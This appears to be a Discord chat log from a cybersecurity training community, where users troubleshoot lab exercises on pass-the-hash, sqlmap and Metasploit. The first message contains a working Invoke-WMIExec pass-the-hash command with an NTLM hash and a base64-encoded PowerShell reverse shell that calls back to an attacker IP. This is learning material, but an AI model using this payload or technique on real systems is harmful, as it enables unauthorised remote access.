Can anyone help me with this question, it's to pass david's hash and read file on the share, i did the same for user julio and got the reverse shell, but for david it's not working 😦
||PS C:\tools> Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username david -Hash c39f2beb3d2ec06a62cb887fb391dee0 -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA3ADIALgAxADYALgAxAC4ANQAiACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAGUAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5AHQAZQBzACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGIAeQB0AGUAcwAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoAGkAZQB4ACAAJABkAGEAdABhACAAMgA+ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYwBrADIAIAA9ACAAJABzAGUAbgBkAGIAYQBjAGsAIAArACAAIgBQAFMAIAAiACAAKwAgACgAcAB3AGQAKQAuAFAAYQB0AGgAIAArACAAIgA+ACAAIgA7ACQAcwBlAG4AZABiAHkAdABlACAAPQAgACgAWwB0AGUAeAB0AC4AZQBuAGMAbwBkAGkAbgBnAF0AOgA6AEEAUwBDAEkASQApAC4ARwBlAHQAQgB5AHQAZQBzACgAJABzAGUAbgBkAGIAYQBjAGsAMgApADsAJABzAHQAcgBlAGEAbQAuAFcAcgBpAHQAZQAoACQAcwBlAG4AZABiAHkAdABlACwAMAAsACQAcwBlAG4AZABiAHkAdABlAC4ATABlAG4AZwB0AGgAKQA7ACQAcwB0AHIAZQBhAG0ALgBGAGwAdQBzAGgAKAApAH0AOwAkAGMAbABpAGUAbgB0AC4AQwBsAG8AcwBlACgAKQA=" [-] inlanefreight.htb\david WMI access denied on DC01||

[split glade]

Ah yes, the famous question with david's hash from that one module... which one was it already?

[next bronze]

Invoke-WMIExec need admin rights, the error is telling you the user doesn't have sufficient rights. you'll need to use another way to get the flag

[ivory nymph]

Solved, idk why i always spend days on a question, and solve it after 2 minutes of asking discord (discord's magic)

[ivory nymph]

Got it, thanks mate.

[fathom pendant]

To append a domain, you need a domain for it to attach

[fathom pendant]

Don't use the pwnbox and vpn at the same time

[fathom pendant]

It's likely some setting tweak then

[dusky gyro]

oh you mean check if theres a different sqlmap.conf file on the pwnbox?

[split glade]

It was probably blocked because sqlmap literally has "sqlmap" in its user agent by default, like some nmap modules do too

[fathom pendant]

Likely

The main point of the section is to try all the methods mentioned in it

And if you visit the page in a browser it gives you a hint to what to use

[dusky gyro]

ya that does make sense, just threw me off because nothing was making sqlmap work including the show solution walkthrough but worked on the pwnbox :/

[fathom pendant]

¯_(ツ)_/¯

[dusky gyro]

just didn't know if it was my hyper-v , AV , or something blocking it

[fathom pendant]

You have to bear in mind all the modules are confirmed doable on pwnbox

[fathom pendant]

It would be nothing on your end

[next bronze]

nah the config files are the same

even if it's blocking the agent or something, it wouldn't be timing out

[dusky gyro]

so it's the servers WAF denying me but letting pwnboxes through?

[fathom pendant]

¯_(ツ)_/¯

I didn't have issues with it on my vm

[dusky gyro]

did you get any of these warnings on your own vm with sqlmap?
[WARNING] there is a possibility that the target (or WAF/IPS) is dropping 'susicious' requests?
[CRITICAL] connection timied out

[fathom pendant]

Not sure I think I just used the flags

<@&861185840277487616>

I swear someone had this exact message months ago

[uneven iron]

I only had posted ..since I dint get any response. .. I have reposted It as Reminder

If any cyber security professional us there in this channel ..please help me out by participating in this online survey

[urban sage]

You need to send requests for postings like that to moderation staff for approval prior. And you generally have more success with some prior engagement. 🙂

[fathom pendant]

Most people are hesitant to trust a random Google form

There's also more channels you can unlock via following #welcome

[uneven iron]

I had got the permission for the first time ... Do I have to get the permission .. For again putting a reminder message?

Sorry for the inconvenience. . im new to discord ...

[fathom pendant]

Generally yes

Considering a significant amount of time has passed

[crimson moon]

In metasploit path, meterpreter module while trying to spin up msf I’m getting an error while checking “db_status”
Error: postgresql selected, no connection

I have tried solutions from the other forums and what not but this doesn’t seem to get connected to the database

Tried deleting msfdb and changing port on database.yml file but to no avail. Also, the service is up and running for postgresql.

If anybody has encountered this same problem how did you go about fixing it?